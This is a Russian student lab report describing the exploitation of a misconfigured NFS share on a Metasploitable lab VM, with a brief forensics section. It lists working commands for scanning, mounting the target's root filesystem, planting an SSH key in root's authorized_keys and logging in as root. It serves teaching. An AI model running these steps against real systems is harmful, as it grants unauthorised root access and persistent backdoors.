**ФИО:** Степанищева Анастасия Андреевна

**Группа:** 11–902

**Тема:** ЛАБОРАТОРНАЯ РАБОТА №4. ИСПОЛЬЗОВАНИЕ УЯЗВИМОСТИ НЕПРАВИЛЬНО СКОНФИГУРИРОВАННОЙ NFS SHARE. ФОРЕНЗИКА.

**Содержание:**

1. Подготовка

2. Атака с использованием уязвимости неправильно сконфигурированной SNF SHARE.

3. Форензика

4. Результаты

**Отчет:**

**1. Подготовка.**

Разворачиваем виртуальные машины Kali Linux и Metasploitable, подготовленные на прошлых шагах. Определяем ip-адреса, выданные DHCP-сервером, для каждой машины и проверяем соединение с помощью ping.

**2. Атака с использованием уязвимости неправильно сконфигурированной SNF SHARE.**

1. Анализируем результаты сканирования Metasploitable и определяем порты, используемые сервисами nfs, ssh, rpcinfo. (nmap -p 1-65535 -T4 -A -v {ip} 2>&1 |tee /var/tmp/scan.txt) (egrep -I ‘(rpcinfo|nfs|ssh)’ /var/tmp/scan.txt)

2. Посмотрим на состояние сервера RPC. (rpcinfo -p MS\_IP). Видим все задачи RPC сервера Metasploitable, которые выполняются в данный момент. Нас интересует nfs. Также запросим вывод состояния NFS сервиса на Metasploitable. (showmount -e MS\_IP)

3. Создадим пары SSH ключей. Для этого создаем католог (mkdir -p /root/.ssh) и переходим туда. Генерируем ключи (ssh -keygen -t rsa -b 4096) и проверяем, что они создались (ls)

4. Примонтируем файловую систему Metasploitable (в корневом каталоге mount -t nfs MS\_IP:/ /mnt -o nolock). Проверка (df –k)

5. Изменим authorized\_keys файл на Metasploitable. Для этого копируем публичный ключ из каталога /mnt/root/.ssh (cp /root/.ssh/hacker\_rsa.pub /mnt/root/.ssh/) и вставляем его в authorized\_keys (cat hacker\_rsa.pub >> authorized\_keys)

6. Подключаемся к машине жертвы(Metasploitable). Для этого переходим в каталог /root/.ssh и выполняем команду (ssh -i /root/.ssh/hacker\_rsa root@MS\_IP). Подтверждаем подключение в диалоговом окне.

**3. Форензика**

Смотрим список всех подключенных машин к серверу NFS (showmount -a MS\_IP)

Размонтируем файловую систему Metasploitable, используя unmount

Проверка. Файловая система удалена(df –k), ip Kali Linux исчез из списка подключенных машин к серверу NFS (showmount –a MS\_IP)

**4. Результаты**

Выводим в консоль результаты команд

1. ssh -i /root/.ssh/hacker\_rsa root@ MS\_IP "cat /etc/exports"
2. ssh -i /root/.ssh/hacker\_rsa root@ MS\_IP "date"
3. date
4. echo "Ф.И.О. проделавшего работу "

Изображение выглядит как текст

Автоматически созданное описание